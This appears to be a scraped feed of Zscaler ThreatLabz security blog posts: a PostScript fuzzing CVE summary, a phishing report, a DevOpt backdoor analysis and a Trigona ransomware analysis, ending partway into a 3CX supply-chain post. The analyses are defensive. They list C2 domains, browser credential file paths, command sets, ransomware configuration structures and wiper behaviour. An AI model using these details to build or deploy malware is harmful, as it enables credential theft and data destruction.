vulnerability to bypass mitigations such as ASLR. Figure 13 shows the PoC for CVE-2022-35668. Figure 13. The PoC for CVE-2022-35668 Figure 14 shows the crash information in WinDBG. Figure 14. The crash information in Windbg for CVE-2022-35668 CVE-2022-32843: Apple PSNormalizer PostScript File Memory Out-of-Bounds Write Vulnerability CVE-2022-32843 is an out-of-bounds write vulnerability in Apple’s PSNormalizer Framework due to the lack of proper bounds checking. Processing a maliciously crafted PostScript file may result in unexpected app termination or disclosure of process memory. This vulnerability was addressed in https://support.apple.com/en-us/HT213345 by Apple. Figure 15 shows the PoC for CVE-2022-32843. Figure 15. The PoC for CVE-2022-32843 Figure 16 shows LLDB attached to the normalizerd process when the crash occurs. Figure 16. Debugging CVE-2022-32843 in LLDB Summary Developing a syntax-aware fuzzer for PostScript interpreters is challenging and fun. In this blog, we discussed how to implement a syntax-aware fuzzer using ANTLRv4 and the Python treelib package for the PostScript language. Using these techniques, we discovered three vulnerabilities (CVE-2022-35665, CVE-2022-35666, and CVE-2022-35668) in Adobe Acrobat Distiller and one vulnerability (CVE-2022-32843) in Apple’s PSNormalizer. Lastly, we walked through PoCs for each of these four vulnerabilities. Mitigation All users of Adobe Acrobat are encouraged to upgrade to the latest version of this software. All users of macOS are encouraged to upgrade to the latest version. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against these four vulnerabilities. PDF.Exploit.CVE-2022-35668 PDF.Exploit.CVE-2022-35665 PDF.Exploit.CVE-2022-35666 OSX.Exploit.CVE-2022-32843 Reference https://helpx.adobe.com/security/products/acrobat/apsb22-39.html https://support.apple.com/en-us/HT213345 https://support.apple.com/en-us/HT213343 https://support.apple.com/en-us/HT213344 https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf https://srcincite.io/assets/postscript-pat-and-his-black-and-white-hat.pdf https://www.antlr.org/ https://treelib.readthedocs.io/en/latest/ https://tomassetti.me/antlr-mega-tutorial/#chapter28 https://github.com/syuanivy/PostScript-Interpreter Wed, 26 Apr 2023 08:40:43 -0700 Kai Lu https://www.zscaler.com/blogs/security-research/smash-postscript-interpreters-using-syntax-aware-fuzzer https://www.zscaler.com/blogs/security-research/2023-phishing-report-reveals-472-surge-phishing-attacks-last-year Phishing attacks continue to be one of the most significant threats facing organizations today. As businesses increasingly rely on digital communication channels, cybercriminals exploit vulnerabilities in email, SMS, and voice communications to launch sophisticated phishing attacks. With the COVID-19 pandemic leading to a surge in remote work over the past several years, the risk of phishing attacks has only increased. The latest phishing report from Zscaler ThreatLabz reveals that phishing attacks are still on the rise, detailing a 47.2% increase in phishing attacks in 2022 compared to the previous year, a result of cybercriminals using increasingly sophisticated techniques to launch large-scale attacks. Education was the most targeted industry in 2022, with attacks increasing by 576%, while the retail and wholesale sector dropped by 67% from 2021. Microsoft brands, including OneDrive and Sharepoint, along with crypto exchange Binance and illegal streaming services, were targeted the most. The United States, the United Kingdom, the Netherlands, Russia, and Canada were the top five most targeted countries. Based on the analysis of 280 billion daily transactions and 8 billion daily blocked attacks, the report highlights the growing use of phishing kits and AI tools to launch highly effective campaigns that bypass traditional security models, including MFA. Zscaler ThreatLabz publishes this report year after year to help organizations recognize the social engineering tactics and sophisticated coding used in phishing attacks to prevent costly data breaches. The findings continue to emphasize the need for organizations to re-examine their cybersecurity infrastructure and take proactive measures to mitigate the growing threat of phishing scams and the techniques they leverage. For example, this year’s report identifies the rise in the use of phishing kits sourced from black markets and chatbot AI tools like ChatGPT, which allow attackers to easily develop more targeted phishing campaigns that manipulate users into sharing their security credentials. With the increased prevalence of AI and PaaS offerings, cybercriminals have an easier time compromising institutions and accessing sensitive data for extortion. The report also highlights the evolution of phishing attacks beyond SMS phishing (SMiShing) to using voicemail-related phishing (Vishing) to lure victims into opening malicious attachments. Additionally, sophisticated adversary-in-Middle (AiTM) attacks are helping attackers bypass multi-factor authentication (MFA security measures). To combat these threats, organizations must adopt a Zero Trust architecture that significantly minimizes the attack surface, prevents compromise, and reduces the blast radius in case of a successful attack. By implementing a Zero Trust approach, organizations can ensure that every user, application, device, and network is verified before being granted access to sensitive data. The 2023 report also provides actionable insights and expert advice on how organizations can employ security best practices to protect themselves from phishing attacks. It highlights the importance of educating employees on the risks of phishing and the need for strong password policies and MFA. Additionally, the report recommends implementing a cloud-based email security solution that uses AI and machine learning to detect and block phishing attacks. To learn more about the latest phishing threats and how to protect your organization, download the 2023 ThreatLabz Phishing Report today. Tue, 18 Apr 2023 15:44:57 -0700 Deepen Desai https://www.zscaler.com/blogs/security-research/2023-phishing-report-reveals-472-surge-phishing-attacks-last-year https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal Summary In recent years, malware attacks have become increasingly sophisticated, and attackers are always finding new ways to exploit vulnerabilities and steal sensitive data. To stay ahead of these threats, security researchers must constantly monitor the landscape and identify new threats as they emerge. In this article, we'll take a closer look at the findings of a recent study conducted by Zscaler's ThreatLabz team, which uncovered a new backdoor built using Free Pascal that has the ability to steal data from infected systems. We'll explore the techniques used by this malware, as well as the tactics employed by cybercriminals to entice users into downloading malicious payloads. By understanding these threats, we can take steps to protect ourselves and our systems from the dangers of malware attacks. Introduction Zscaler ThreatLabz has recently unearthed a new backdoor called 'Devopt'. It utilizes hard-coded names for persistence and offers several functionalities, including keylogging, stealing browser credentials, clipper, and more. Multiple versions of the backdoor have surfaced in just the last few days, indicating that it is still in development. In this blog post, we will delve into the specifics of this new backdoor and its workings. Additionally, we will offer tips on how to safeguard yourself against such attacks. Key Takeaways: Zscaler ThreatLabz uncovered a new backdoor and named it DevOpt based on the name of the persistence malware Discovered on a Russian website promising monetary rewards, victims are lured into downloading malicious payloads containing DevOpt malware The malware is currently still in development and is receiving continous improvement updates designed to make it a more potent and effective tool for attackers and threat for defenders DevOpt has advanced capabilities to function as a keylogger, stealer, grabber, and a clipper along with persistence mechanisms. Campaign: While on the hunt for new malware, the ThreatLabz research team at Zscaler came across a newly discovered backdoor that was created using Free Pascal. This backdoor is particularly dangerous as it has the ability to steal data from infected systems. Zscaler's ThreatLabz research team remains vigilant in tracking new malware threats. During a recent investigation, we discovered a backdoor that uses Free Pascal and is capable of stealing data from infected systems. Additionally, we came across a Russian website where users were offered financial rewards for completing a task that unwittingly involved downloading malware. Further analysis revealed that the downloaded malware had an archive icon, giving the impression of a compressed file and luring users into double-clicking it, which then executed the malware. This discovery underscores the lengths to which cybercriminals will go to lure users into downloading malicious payloads, using tactics such as offering financial incentives. It's worth noting that the malware's downloading URL pattern generally follows this structure: wdfiles-download[.]siteme[.]org/arxiv[digit].exe. Fig 1. - Russian Website(Translated to english) enticing users into downloading malicious payloads. Technical Analysis: Two versions of the backdoor have been discovered in the development stage. The first version, which lacks obfuscation to hide its strings, is roughly 20 MB in size and contains a Graphic User Interface not found in the newer variant, which is approximately 2 MB in size. The second version uses encoded integer-based strings for its functionality. The older version uses plain text HTTP protocol, while the newer variant searches for OpenSSH DLLs in the infected system to establish encrypted HTTPS connections to its command and control. To establish network connections, the backdoor requires several DLLs: libcrypto-1_1.dll, libeay32.dll, libssl-1_1.dll, libssl32.dll, and ssleay32.dll. If the malware is unable to locate these DLLs, it becomes inactive and will not infect the system further. Encoded String Decoded Strings Description 5494-4756-7544-6970-9430-8282-9348-9430-7544 C:\\Users\\ String to access infected system Users Directory 7544-5576-8282-9430-8774-9512-9102-9184-7544 \\Desktop\\ String to access infected system Desktop Directory 7544-5576-9102-8118-9594-8938-8282-9020-9512-9430-7544 \\Documents\\ String to access infected system Documents Directory 7544-5576-9102-9758-9020-8856-9102-7954-8200-9430-7544 \\Downloads\\ String to access Infected system Downloads Directory 8200-8282-9676-9102-9184-9512-3444-3772-8282-9840-8282 devopt*.exe Create a copy of itself in the Startup folder with devopt(random 2 digit).exe name. 7544-7134-8610-9020-8774-8282-9922-6068-8282-9512-3772-8610-9020-8610 \\WinkeyJet.ini Create configuration file with WinkeyJet.ini name. 8528-9512-9512-9184-9430-4756-3854-3854-8938-9676-8200-3690-8774-3690-9512-9594-8856-7954-3772-9430-8610-9512-8282-8938-8282-3772-9102-9348-8446-3854 https[:]//mvd-k-tula[.]siteme[.]org/ Command and Control domain. 7544-5330-9184-9184-5576-7954-9512-7954-7544-6724-9102-7954-8938-8610-9020-8446-7544-6314-8610-8118-9348-9102-9430-9102-8364-9512-7544-7134-8610-9020-8200-9102-9758-9430-7544-6806-9512-7954-9348-9512-2624-6314-8282-9020-9594-7544-6560-9348-9102-8446-9348-7954-8938-9430-7544-6806-9512-7954-9348-9512-9594-9184-7544 \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ Startup directory path. 6314-9102-10004-8610-8856-8856-7954-3854-4346-3772-3936-2624-3280-7134-8610-9020-8200-9102-9758-9430-2624-6396-6888-2624-4428-3772-4100-4838-2624-9348-9676-4756-4018-3936-4264-3772-3936-3362-2624-5822-8282-8118-8774-9102-3854-4100-3936-4018-3936-3936-4018-3936-4018-2624-5740-8610-9348-8282-8364-9102-9840-3854-4018-3936-4264-3772-3936 Mozilla/5.0 (Windows NT 6.2; rv:104.0) Gecko/20100101 Firefox/104.0 User Agent used for network requests. 8856-8610-9430-9512-8282-9020-8282-9348-3772-9184-8528-9184 listener.php Send collected data as listener.php The earlier version of the backdoor required user interaction by clicking on the Extract button, whereas newer versions run silently in the background without any need for user interaction. Fig 2. - Earlier version of malware requiring user interaction Based on the aforementioned observation, it can be concluded that the Threat Actor is adding more features to the backdoor and making it stealthier. Additional Analysis: After analyzing the malware, our observations revealed that it contains numerous capabilities. The following functionalities were observed: Persistence: Persistence refers to a malware's capability to remain active on a system even after a reboot or shutdown. This can be achieved by adding entries to the Windows Registry or by creating scheduled tasks. Once a malware establishes persistence, it can continue to operate in the background and carry out malicious activities undetected by the user. Upon closer observation, researchers noticed that the malware replicated itself in the Startup folder, enabling it to initiate automatically whenever the computer is powered on. Further observations of different versions revealed that it duplicates itself with a name devopt[random 2 digits].exe under the following path: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. Fig 3. - Persistence mechanism Clipper: A clipper malware is created to pilfer confidential data from victims. Once it is installed on a victim's device, it can record the clipboard data, which can potentially be used to steal other sensitive information like login credentials, credit card numbers, or other financial data. Researchers noticed that the malware generates a file called 'clippa.dan' in the C:\User\[User] directory, which logs all the information copied to the clipboard. Fig 4. - Clipper logging data from the system Stealer: A stealer malware is created to pilfer sensitive information, such as login credentials, credit card details, and other personal data. Once it is installed on a victim's device, it can monitor the user's activity and steal sensitive information. The malware generates two files, namely 'cdck.bin' and 'bdck.bin,' in the C:\User\[User] directory, which steal the credentials, cookies, history, and version information of the two specific browsers, respectively. Chrome browser data collected from infected system: [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies] [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\History] [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Login Data] [C:\Users\User\AppData\Local\Google\Chrome\User Data\Last Version] 2. Yandex data collected from infected system: [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Network\Cookies] [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Network\History] [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Ya Passman Data] [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Ya Autofill Data] Keylogger: Keylogger malware is specifically designed to capture every keystroke made by a user on their device. This can be used to steal sensitive information like login credentials, credit card details, and other personal data. In this case, the malware creates a file named ‘Kebba.dan’ in the C:\User\[User] directory to log the keystrokes of the user. Fig 5. - Keylogger logging keystrokes Grabber: Fig 6. - Grabber enumerating the Directories for stealing file contents Grabber malware is created to illicitly obtain files and other data from an infected device. It targets text, Word, Excel, and RTF files stored in the Document, Download, or Desktop directories, and saves the stolen data in a file named “grb.bin” located at C:\User\[User] directory. Fig 7. - Grabber File contents stealing data Dropped text file In previous versions of this backdoor, researchers observed that it drops a file called ‘unpacked.dt’ in the ‘data’ folder of the current directory. This file is likely designed to confuse malware analysts because it appears to be an encoded malicious payload, but in reality, it contains randomly generated alphanumeric strings. In newer versions of the backdoor, a similar file named ‘0.txt’ is dropped in the current directory, which contains random strings that are hardcoded into the malware itself. Fig 8. - Generating random alphanumeric strings for unpacked.dt file Configuration File: The researchers noted the presence of a configuration file named "Winkeyjet.ini" that was dropped in the Users directory. This file contains information about the compromised system, such as the name of the operating system, a unique Device_ID, and the version number (Version) that represents the major version information of the compromised system. Additionally, the file includes the malware's hardcoded own version (OwnVer). The configuration file also specifies the Command and Control (CnC) server, which is responsible for providing instructions to the malware once it has been successfully installed. Fig 9. - Configuration file generated recording the device and version information Additional investigation has uncovered that certain malwares that are still in the early stages of development are displaying a message box that contains the text "putin Xyilo", which is a slogan that ridicules Russian President Vladimir Putin. Fig 10. - Msgbox displayed in underdeveloped versions of malware Network Communication: Establishing a connection with the Command and Control (CnC) starts with the malware sending a "create" request. Upon recognizing the request, the CnC responds with a "200 OK" message. After establishing the connection, the malware sends a command request to the CnC, which in turn responds with a SYNC command. Upon receiving the SYNC command, the malware executes the given command and sends a "SYNCRONIZED" response back to the CnC to indicate successful completion. Fig 11. - Network communication steps Commands: Below are the encoded string commands used by the observed malware: Encoded String Decoded Strings Description 6806-7298-6396-5494 SYNC Command to check connection between CnC and Malware. We observed in some variants malware send the ‘SYNCRONIZED’ response along with the version of the malware. 5576-5986-6724 DIR Command to collect file information of the given directory. It can collect file name, directory name, size and modified date. 6560-6970-6888 PUT Command to write collected information in file. It will give the response ‘HAD WRITTEN’ if the file is already present else ‘NOT WRITTEN’. 6724-5658-5330-5576 READ Command to read collected information from stored files and send data to CnC. 5658-7216-5658-5494 EXEC To execute commands sent from CnC and after successful execution it sends ‘EXECUTED’ response. 5576-6724-6232-6806 DRLS Command to collect Drive information (HDD, CDROM, RAMDISK, Network and Removable) of the infected system. 6560-6724-6232-6806 PRLS Command to collect the Process list of infected systems. The previous version of the malware did not include the DRLS and PRLS commands for gathering drive and process information, respectively. Conclusion Based on the observations made during the malware analysis, it is evident that the malware in question is a sophisticated and multifunctional threat. The malware is capable of performing various malicious activities such as stealing confidential information, logging keystrokes, stealing files, and establishing persistent access to the victim's system. It is also evident that the threat actor behind the malware is continuously improving the malware by adding new features, making it stealthier, and using various techniques to evade detection. The malware uses encoded strings for its commands and drops files with misleading names to deceive malware analysts. Furthermore, the malware communicates with a Command and Control server to receive instructions and send stolen data. The server's IP address and other details are hardcoded into the malware. Overall, the findings highlight the need for robust security measures to protect against advanced and evolving malware threats. It also emphasizes the importance of regular updates and security patches to mitigate the risks associated with these threats. As cyber threats continue to evolve and become increasingly complex, it is critical to remain alert and take proactive measures to protect against them. The discovery of this new backdoor is a testament to the ever-changing tactics of attackers and underscores the importance of ongoing monitoring and research. Zscaler's ThreatLabz team is dedicated to staying on top of these threats and sharing their findings with the wider community. It is essential to stay informed and take necessary precautions to safeguard against malware attacks. Remember to keep your software up-to-date, use strong passwords, and be wary of suspicious emails or messages. Zscaler Sandbox Coverage Zscaler's multilayered cloud security platform detects indicators, as shown below: Fig 12. - DevOpt Backdoor Zscaler sandbox report The following threat names are detected by Zscaler's multilayered cloud security platform for identifying malicious payloads: Win32.Backdoor.DevOpt MITRE ATT&CK Techniques: Tactic Technique ID Technique Name Execution T1129 Shared Modules Defense Evasion T1027 Obfuscated Files or Information Persistence T1037.005 T1547.001 Startup Items Registry Run Keys / Startup Folder Discovery T1057 T1082 T1083 Process Discovery System Information Discovery File and Directory Discovery Collection T1005 T1115 Data from Local System Clipboard Data Credential Access T1003 T1555.003 T1539 T1056.001 OS Credential Dumping Credentials from Web Browsers Steal Web Session Cookie Keylogging Command and Control T1095 T1071 Non-Application Layer Protocol Application Layer Protocol Indicators of Compromise (IOCs): db14d40d780853f80b93e21e92617680 94df2e4aa0f432ef992893d7b994ce84 Old Variant 391c894616dd0e8b372b801cbbc0a790 e42198e7c0647238b999a2b2133daac2 New Variant mvd-k-tula[.]siteme[.]org mvd-k-tula[.]ru Command and Control Domain wdfiles-download[.]siteme[.]org/arxiv5.exe Malicious Source Url used for distribution Tue, 18 Apr 2023 06:06:39 -0700 Shatak Jain https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal https://www.zscaler.com/blogs/security-research/technical-analysis-trigona-ransomware Key Points Trigona is a ransomware family written in the Delphi programming language that has been active since at least June 2022 The Trigona threat group claims to perform double extortion attacks by combining data exfiltration with file encryption Trigona utilizes 4,112-bit RSA and 256-bit AES encryption in OFB mode for file encryption The file decryption process is fairly convoluted with a tool that requires several steps to function properly The ransomware has been regularly updated with new capabilities including a new data wiper feature Zscaler ThreatLabz has been tracking the Trigona ransomware family, which dates back to June 2022. There has been public reporting that some of the group’s tactics, techniques, and procedures (TTPs) have overlapped with BlackCat/ALPHV ransomware. However, the two ransomware codebases are very different. Trigona is written in the Delphi programming language and encrypts files with a 4,112-bit RSA public key and a 256-bit AES symmetric key. The group claims to exfiltrate data prior to performing file encryption and hosts a data leak site that is hosted on a publicly available website rather than a TOR hidden service. Trigona’s ransomware code contains numerous idiosyncrasies such as an AES implementation without padding, the use of multiple AES modes (CBC and OFB), and a large encrypted file footer with extraneous fields and integrity checks. In this blog, we will analyze Trigona ransomware’s features, encryption algorithms, and file decryption process. We have also created a Python-based tool to extract and decrypt Trigona's ransomware configuration. Technical Analysis Trigona can be executed with or without command-line arguments. The latest versions of Trigona support the following parameters shown in Table 1. Command-Line Parameter Description /erase Overwrite files with NULL bytes, rename with a ._erased extension, and delete; by default the first 0x80000 bytes (512KB) will be overwritten, but this can be combined with the /full option to overwrite the full file content /is_testing Sets a testing flag that must be used with the /test_cid and /test_vid command-line parameters /shdwn Shutdown the system with the parameters -f -s -t 00 /r Randomize file encryption order /full Encrypt the full content of files; by default Trigona encrypts only the first 0x80000 bytes (512KB) !autorun Do not create an autorun registry value /test_cid Use the specified value instead of generating a computer ID /test_vid Use the specified value instead of the hardcoded victim ID (VID) from the configuration /p Recursively encrypt files in the specified path /path Recursively encrypt files in the specified path /!local Do not encrypt local files /!lan Do not encrypt files on network shares /autorun_only Create an autorun registry value that will execute the ransomware upon logon, but do not perform file encryption Table 1. Trigona ransomware command-line arguments The first three parameters in this table have been added in more recent versions. The CID value that is referenced in the code appears to be an acronym for a computer ID. This value is generated based on performing several MD5 hash calculations of system information (such as the computer name) with the formatted result matching the regular expression [A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{8}. The VID value is likely a victim ID for the victim organization, although there are many Trigona samples where this value is left blank. The autorun registry value will be created in HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with a registry name that consists of an uppercase hex string derived from the MD5 hash of the CID reversed, with the registry value pointing to the Trigona ransomware executable path. Ransomware Configuration After parsing the command-line parameters, Trigona loads an embedded configuration that is used to initialize an internal data structure. The ransomware stores this configuration in the binary’s resource section as a string resource named CFGS as shown in Figure 1. Figure 1. Encrypted Trigona ransomware configuration stored as a string resource The configuration is encrypted with two layers of AES in Cipher Block Chaining (CBC) mode. The first layer uses the first 32 bytes of the configuration as the AES key, followed by 16 bytes that are used as the AES initialization vector (IV), followed by the encrypted data. The result is another encrypted block of data with the order of the AES key and IV reversed, where the first 16 bytes represent another AES IV and the following 32 bytes are used as an AES key to decrypt the remaining encrypted data. There is one notable caveat related to Trigona’s use of AES with respect to padding. Since AES is a block cipher, padding is typically appended to the last block of data if it is not a multiple of the block length. However, the author of Trigona chose not to pad the final encrypted data block and instead implemented a variant of residual block termination. Thus, Trigona’s AES configuration decryption process is the following: Decrypt all 16-byte blocks using AES in CBC mode If the last encrypted block is not a multiple of 16 bytes, encrypt 16 NULL bytes Use the resulting ciphertext as an XOR key to decrypt the final block This alternative to padding breaks compatibility with some encryption libraries including PyCryptodome, which by default does not allow an encryption operation to follow decryption. However, ThreatLabz has developed a Python-based script that overrides the encryption library’s internal state to support this variant of residual block termination and decrypt Trigona’s ransomware configuration. The decrypted Trigona configuration format varies slightly between versions, but the general format is the following: struct trigona_cfg { BYTE num_padding_bytes; BYTE padding[num_padding_bytes]; BYTE config_md5[16]; DWORD section1_size; BYTE cfg_section1[section1_size]; DWORD section2_size; BYTE cfg_section2[section2_size]; DWORD section3_size; BYTE cfg_section3[section3_size]; }; Note that all integer values are stored in big-endian byte order. The structure of the first configuration section is shown below (note that there are two NULL bytes added in newer versions of Trigona): struct cfg_section1 { BYTE unk_null[2]; // added in newer versions struct cfg_item file_rsa_pub_key; struct cfg_item ransom_note_rsa_pub_key; struct cfg_item vid; struct cfg_item build_id; struct cfg_item unknown1; struct cfg_item extension_whitelist; struct cfg_item contact_email; struct cfg_item dir_whitelist; struct cfg_item unknown2; struct cfg_item unknown3; struct cfg_item unknown4; struct cfg_item unknown5; struct cfg_item ransom_note_aes_key; }; Each configuration item consists of the following structure: struct cfg_item { DWORD item_size; BYTE item[item_size]; }; The structure of the first configuration section contains a variety of information including two RSA public keys. The first public key is used for file encryption and the second RSA key is used for encrypting an integrity value that is embedded in the ransom note and required for creating an account on the victim ransom portal. The note also includes a victim ID (VID), build ID, extension whitelist, directory whitelist, an email address to contact the threat actors. The victim ID (VID) values that ThreatLabz has observed in Trigona samples are shown in Table 2 (some of the values are obfuscated to protect the identity of the victim). Table 2. Observed Trigona ransomware victim ID (VID) values The Trigona build IDs identified in Trigona samples are shown in Table 3. Table 3. Observed Trigona ransomware build IDs These build IDs appear to be incremental and may represent the version number of the ransomware with newer versions having a larger value. ThreatLabz has observed the following contact email addresses in Trigona ransom notes: trigona@usa.com lifescan@onionmail.org farusbig@tutanota.com phandaledr@onionmail.org johnsuppttt987@tutanota.com georgtimes@tutanota.com maliflynanth@aol.com MkRable1@onionmail.org The second configuration block has the following structure with 13 file extension blocks: struct cfg_section2 { struct extensions_block[13]; }; Each file extension block can be defined as follows: struct extensions_block { DWORD extension_block_size; struct file_extension extension_block[]; }; Finally, each individual file extension structure is stored in the structure: struct file_extension { BYTE length; BYTE extension[length]; }; Trigona samples analyzed by ThreatLabz have a total of 7,336 file extensions in the ransomware’s configuration. A list of these file extensions can be found here. The third and last configuration block stores the ransom note template with the structure: struct cfg_section3 { DWORD length; BYTE ransom_note_template[length]; }; The Trigona ransom note template can be found here. Data Wiper Functionality Trigona recently added data wiper functionality with the ability to overwrite files with NULL bytes in recent versions. The wiper functionality is triggered by passing the /erase command-line parameter. By default, Trigona will overwrite the first 0x80000 bytes of a file. However, similar to file encryption, a threat actor can pass the /full command-line parameter to overwrite the entire content with NULL bytes. After the file data is overwritten, the file is renamed with pseudo randomly generated characters in the format [a-z0-9]{1,32}.[a-z0-9]{1,10} and the extension _erased is appended. After the file is renamed, Trigona attempts to delete it. The ransomware will also attempt to remove any directories that are located within the specified path. The purpose of this feature may be to hinder forensic analysis or to destroy a victim’s data if they are not willing to pay a ransom. Encryption Algorithms Trigona uses a combination of RSA and AES for file encryption and for encrypting information that is stored in the ransom note. The AES algorithm is implemented using the open source Delphi DCPcrypt library and residual block termination is used in lieu of padding. File Encryption Trigona is capable of encrypting files on local drives as well as network drives. For the former, the ransomware will enumerate all drive letters from A to Z. Before file encryption begins, Trigona pseudo randomly generates a single master 32-byte AES key that is used for encrypting all files. For each file, Trigona generates another 80 pseudo random byte block that consists of 32 bytes of padding, a 32-byte AES key and a 16-byte IV. This 80-byte block is then encrypted using a 4,112-bit RSA public key that is hardcoded in Trigona’s configuration. This randomly generated AES key and IV are used to encrypt another block of data using AES in CBC mode that contains the actual master AES key that is used for file encryption. The AES mode used for file encryption is Output feedback (OFB) in contrast to CBC mode (which is used to decrypt Trigona’s configuration information and the master AES key). After a file has been encrypted, Trigona appends a large footer to the end of the file that contains a variety of information including the file’s encrypted AES key parameters, a (per-file) pseudo random 16-byte IV, along with MD5 hash values of the AES key and the RSA public key that was used to encrypt the file. Trigona also adds random padding in the footer to avoid a fixed length. The footer starts with 8 bytes where each odd byte (red) when concatenated together forms the size of the footer and each even byte (blue) is the hex value 0x53 (or the letter ‘S’) as shown below: The encrypted file footer includes many additional parameters including the CID, VID and build ID. There is also additional binary data that is appended that comes directly from the ransomware’s configuration. The purpose of this binary data is not known, but it may be used to further pad the file footer to evade behavioral-based EDR detections. After a file is encrypted, the filename extension is replaced with _locked. In recent versions, Trigona will also replace the original filename with pseudo randomly generated characters with the format [a-z0-9]{1,50}.[a-z0-9]{1,10} and append the _locked extension. The original filename is encrypted using the same AES key and IV that is used to decrypt the file content in OFB mode and then appended to the file footer. Figure 2 shows an example directory after Trigona’s file encryption has completed. Figure 2. Directory encrypted by Trigona ransomware Ransom Note Key Generation Trigona creates an HTML Application (HTA) file named how_to_decrypt.hta that contains the ransom note. Figure 3 shows an example of the Trigona ransom note when opened. Figure 3. Example Trigona ransom note In order to start the negotiation process to recover files, a victim must provide an authentication key that can be retrieved via the Copy button in Step 3 of the ransom note. This key is a large hex-encoded string. When decoded, there is a header that starts with the string @CLADID followed by a hex encoded MD5 hash of the VID from the configuration and another hex encoded MD5 hash of the VID reversed. This is followed by a block of data encrypted with a 4,096-bit RSA public key that is hardcoded in Trigona’s configuration. When this block is decrypted, the result is 32 bytes of padding followed by a 32-byte AES key and a 16-byte IV. This AES key and IV are used to encrypt victim information including the computer name, user name, Windows domain, operating system version, system architecture, and keyboard language. In addition, there’s a hex encoded string for an MD5 hash value of the encrypted victim data that is encrypted with two layers of AES. The first layer is encrypted with a hardcoded AES key from Trigona’s configuration. The second layer is encrypted using a pseudo random 32-byte AES key and pseudo random IV. Ransomware Decryption Trigona provides a quirky file decryption process, requiring a user to create an account on their ransom portal with the authentication key provided in the ransom note. After account creation, the victim can test file decryption and communicate with the threat group. Interestingly, the victim portal provides a (green) button to download a decryption tool as shown in Figure 4 without paying a ransom. Figure 4. Trigona victim ransom portal However, the tool itself cannot be used to decrypt files because it does not contain the necessary encryption parameters. The tool requires a file named keys.dat that is provided to the victim after payment has been received as shown in Figure 5. Figure 5. Trigona ransomware decryption menu requiring a keys.dat file This keys.dat file requires a user to send the threat actor another file named scan.dat, which contains a set of one or more RSA encrypted AES keys. The victim can use the decryption tool to scan for encrypted files to generate the scan.dat file as shown in Figure 6. Figure 6. Trigona ransomware decryption tool feature to scan for encrypted files After the encrypted file scan is complete, the scan.dat file is generated as shown in Figure 7. Figure 7. Trigona ransomware decryption tool after a scan has completed The scan.dat file contains a header with the magic bytes TDSF followed by the data encrypted with two layers of AES similar to Trigona’s configuration. After decryption, the scan data contains meta information including the VID, CID and build ID followed by the RSA encrypted AES key that was used for file encryption. When the threat actor receives the scan.dat file, they can use the victim’s RSA private key to decrypt an AES session key that is used to protect the victim’s AES key to generate the keys.dat file. The scan.dat file may include multiple CIDs, and therefore, multiple RSA encrypted AES keys. The keys.dat file header contains the magic bytes TDKF (green) followed by the subsequent keys.dat file size (orange), followed by the number of AES keys (purple), followed by one or more AES keys (blue) and the corresponding MD5 hash value (red) for each AES key as shown below. After the keys.dat file is provided to the decryption tool, the user interface will allow a victim to decrypt specific files or folders as shown in Figure 8. Figure 8. Trigona decryption tool with a valid keys.dat file provided When the Start full recovery button is pressed, the tool will enumerate files encrypted by Trigona by parsing each file to identify the file footer and use the corresponding AES key to decrypt the content. An example of the Trigona decryption tool upon completion is shown in Figure 9. Figure 9. Trigona ransomware decryption tool after completion Conclusion Trigona ransomware is a ransomware family that claims to perform double extortion attacks. However, the group does not appear to be as sophisticated as many rival ransomware threat groups. The use of AES without padding and the multiple modes of AES are not commonly observed in ransomware. In addition, the file decryption process entails running a file scan to generate another file that is sent back to the threat actor, who in turn provides a file with the necessary encryption keys. The introduction of a data wiper feature is a noteworthy addition that may be used to hinder forensic analysis or to destroy a victim’s data. Zscaler ThreatLabz continues to track this threat group and add detections to protect our customers. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Trigona at various levels with the following threat names: Win32.Ransom.Trigona Indicators of Compromise SHA256 Description 8cbe32f31befe7c4169f25614afd1778006e4bda6c6091531bc7b4ff4bf62376 Trigona ransomware with data wiper functionality efb688214c3fe5d9273ec03641cf17af5f546b11c97a965a49f8e617278ac700 Triigona ransomware decryption tool f64211b0a49589bb53523dfb88eb9937ab88c8fcea98e2aabcbee90f1828e94e Trigona ransomware 11b0e9673bbeb978aa9b95bcad43eb21bbe0bbaaf7e5a0e20d48b93d60204406 Trigona ransomware eda603f4d469d017917f5d6affeb992fdf3b7971e49868ece8c38fb8e6f8b444 Trigona ransomware c4529a061f205aaee46c219123d15059d2161df2bd7c7b738dd2a2c1ffd8d3ee Trigona ransomware 170fa5d29cdb562d41a054abf2a57ca29fc233805b59692a1a57ebf25449be7c Trigona ransomware f29b948905449f330d2e5070d767d0dac4837d0b566eee28282dc78749083684 Trigona ransomware 197f4933680a611ad2234a22769bd079885f81956221ec0de172d5a19eab648e Trigona ransomware 1017fcf607a329bb6ad046181c3656b686906a0767fff2a4a3c6c569c2a70a85 Trigona ransomware 761b78ddab55b4e561607ce5ce9d424a7aec4f1994aad988f0612b096cdd1d6d Trigona ransomware 097d8edb1762d7d3ded4360a9f5b4673a898937421f36853d2f5cde77e1bac93 Trigona ransomware 4a06231957c53dee1a11ff3eb84caad082f18761aee49e72d79c7f1d32884e34 Trigona ransomware Fri, 14 Apr 2023 08:30:01 -0700 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/technical-analysis-trigona-ransomware https://www.zscaler.com/blogs/security-research/3CX-supply-chain-attack-analysis-march-2023 On March 29th 2023, CrowdStrike published a blog outlining a supply chain attack leveraging the 3CXDesktopApp - a softphone application from 3CX. The ThreatLabz Team immediately started hunting for IoCs on the Zscaler Cloud. We observed infections dating back to February 2023 for both the Windows as well as the MacOS variant of the 